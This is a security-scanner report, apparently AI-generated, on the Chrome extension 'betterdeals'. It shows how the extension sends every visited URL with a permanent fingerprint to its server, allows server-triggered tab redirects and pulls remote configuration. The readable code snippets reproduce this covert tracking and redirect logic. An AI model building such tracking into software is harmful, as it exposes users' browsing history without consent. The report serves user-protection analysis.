Is betterdeals safe?

High risk

betterdeals is high risk. Each time you visit any page, betterdeals sends the full URL to a remote server with a permanent ID unique to your browser. Every request carries the same fingerprint, letting the server rebuild your browsing history across sessions.…

betterdeals.ggv1.1.4Chrome Web Store
78Risk
Who publishes it

betterdeals.gg - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
betterdeals.gg
Website
betterdeals.gg/contact

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Every Page URL + Persistent Fingerprint Sent to Betterdeals Server

Each time you visit any page, betterdeals sends the full URL to a remote server with a permanent ID unique to your browser.

Every request carries the same fingerprint, letting the server rebuild your browsing history across sessions.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any website.

No click or interaction is required, page load alone triggers the behavior.

The extension did this

The extension sends the full URL of the page you opened, combined with a permanent browser fingerprint, to a remote betterdeals server.

The request fires over HTTPS without any visible notification before the page finishes loading.

Captured request
GEThttps://res.betterdeals.gg/redirect/aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL2NoZWNrcG9pbnQ?fingerprint=betterdeals-528dd54a-52df-4e07-aea1-1ccf7603c219&adblockerInstalled=0&base64=1&json=1

{"noRedirect":true}, server controls whether a tab redirect fires on this visit.

Data transmitted in every request to res.betterdeals.gg
  • Full page URL (base64-encoded in path)
    aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL2NoZWNrcG9pbnQ= (decodes to https://www.facebook.com/checkpoint)

    The complete address of every page you visit is sent to the server, including any tokens, search terms, or identifiers in the URL.

  • Persistent browser fingerprint
    betterdeals-528dd54a-52df-4e07-aea1-1ccf7603c219

    A unique ID generated once, stored permanently. Every request shares this value, letting the server link all your visits together.

  • Ad-blocker status flag
    adblockerInstalled=0

    Reports whether another extension that blocks ads is installed in your browser.

Why you can't catch this in DevTools

The current page URL is base64-encoded in the request path. The encoding is not encryption; it is reversible without any key.

Decoded value
https://www.amazon.com/dp/B09G9FPHY6
The code that does this

other.js, content script that transmits URL and fingerprint on every page load

Readable version
const currentUrl = window.location.href;const fingerprint = await chrome.runtime.sendMessage({ type: 'getFingerprint' });const hasAdblocker = await chrome.runtime.sendMessage({ type: 'getAdblockerStatus' });const adblockerFlag = hasAdblocker ? 1 : 0;const response = await fetch(  `https://res.betterdeals.gg/redirect/${encodeURIComponent(btoa(currentUrl))}?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerFlag}&base64=1&json=1`);const data = await response.json();if (!data.noRedirect) {  window.location.href = data.to; // server-controlled tab redirect}
What's stored on your device

Written once on first run, never rotated. Sent with every request to res.betterdeals.gg, linking your history to one identifier.

Location
chrome.storage.local key 'fingerprint'
Contents
betterdeals-528dd54a-52df-4e07-aea1-1ccf7603c219
Remote server receiving browsing history
    • res.betterdeals.gg

    Receives every page URL the user visits, paired with a persistent fingerprint. Returns a redirect decision.

Extension Redirects Any Tab to Server-Chosen URL Without User Prompt

On every page, betterdeals asks a remote server if your tab should redirect.

Given a target, it navigates there with no prompt.

Testing saw only no-redirect replies, but the path is live: the server can turn on redirects anytime, no update.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any webpage.

The redirect check fires on every page load, not just on product or affiliate pages.

The extension did this

The extension asks its server if your tab should go elsewhere. If yes, your browser navigates there at once, with no confirmation shown.

The server can point the redirect at any URL. The affiliate link intermediary linksprf.com has been observed in the background handler for related redirect flows.

Captured request
GEThttps://res.betterdeals.gg/redirect/aHR0cHM6Ly93d3cuYW1hem9uLmNvbS9kcC9CMDlHOUZQSFk2?fingerprint=betterdeals-528dd54a-52df-4e07-aea1-1ccf7603c219&adblockerInstalled=0&base64=1&json=1

{"noRedirect":true}, server held redirect inactive during DA testing. The 'to' field would contain the redirect destination when noRedirect is false.

The code that does this

other.js, tab redirect executed when server activates it

Readable version
const redirectResponse = await fetch(  `https://res.betterdeals.gg/redirect/${encodeURIComponent(btoa(currentUrl))}?fingerprint=${fingerprint}&adblockerInstalled=${adblockerFlag}&base64=1&json=1`);const data = await redirectResponse.json();// No user prompt — redirect fires unconditionally when server activatesif (!data.noRedirect) {  window.location.href = data.to;}
Server-controlled gate means risk is not visible from code alone

During dynamic analysis, all three requests to res.betterdeals.gg/redirect/ returned `noRedirect:true`, so no actual tab redirect was observed. The redirect code path is present and functional; the server decides per-request whether to activate it. The operator can enable redirects for any or all users at any time without a code or extension update.

Servers involved in the redirect flow
    • res.betterdeals.gg

    Receives every page URL; returns {noRedirect, to} controlling whether the user's tab is navigated to a different destination.

    • linksprf.com

    Affiliate link intermediary observed in the background service worker HANDLE_REDIRECT flow.

Remote Config Controls Monitored Sites, Expandable Without CWS Review

betterdeals downloads a config file from its server every 24h, controlling which sites it monitors and what it reads.

Fetched remotely, the operator can expand sites or change what it reads anytime, no store review needed.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You start your browser or open Chrome with the extension installed.

The config refresh also fires when any page sends a CHECK_STORE_CONFIGS message to the background service worker.

The extension did this

The extension downloads a fresh configuration from a remote server that determines which websites it is active on and what it reads from those pages.

The downloaded config replaces the previously stored version immediately, with no user prompt.

Captured request
GEThttps://betterdeals.gg/api/storeConfig

JSON object mapping store names (amazon, bestbuy, walmart, newegg, target, kaufland, ...) to config objects containing productUrlRegex patterns, CSS selectors for product title/price/image, and insertActionAfter selectors.

What's stored on your device

Defines every site the extension is active on and what it reads. New stores/selectors can be pushed here, live within 24h, no store update.

Location
chrome.storage.local key 'remoteStoreConfigs'
Contents
{  "amazon": {    "productUrlRegex": [      "/dp/[A-Z0-9]{10}",      "/gp/product/[A-Z0-9]{10}"    ],    "productPriceSelector": [      "#corePriceDisplay_desktop_feature_div .aok-offscreen"    ],    "productTitleSelector": [      "#productTitle"    ]  },  "walmart": {    "productUrlRegex": [      "/ip/[\\w-]+/[0-9]+"    ],    "productTitleSelector": [      ".main-content #main-title"    ]  },  "kaufland": {    "productUrlRegex": [      "/p/[\\w-]+/[A-Z0-9]+"    ],    "productTitleSelector": [      ".product-detail__title"    ]  }}
The code that does this

background.js, remote config fetch and storage (checkAndUpdateStoreConfigs)

Readable version
const response = await fetch('https://betterdeals.gg/api/storeConfig');if (response.ok) {  const remoteConfig = await response.json();  if (remoteConfig && typeof remoteConfig === 'object') {    await chrome.storage.local.set({      remoteStoreConfigs: remoteConfig,      remoteConfigTimestamp: Date.now()    });    activeConfig = remoteConfig;  }}
When this fires

On every browser startup

Config is fetched on every browser startup and whenever a CHECK_STORE_CONFIGS internal message is received. A cached copy is used if less than 24 hours have elapsed since the last successful fetch.

Server providing the remotely-updated configuration
    • betterdeals.gg

    Serves the storeConfig JSON that controls which websites the extension monitors and what data it extracts from product pages.

What it can do

Permissions this extension asks for, as declared in version 1.1.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026fcfdgjihkdffhnfaefnbdbekafdeelio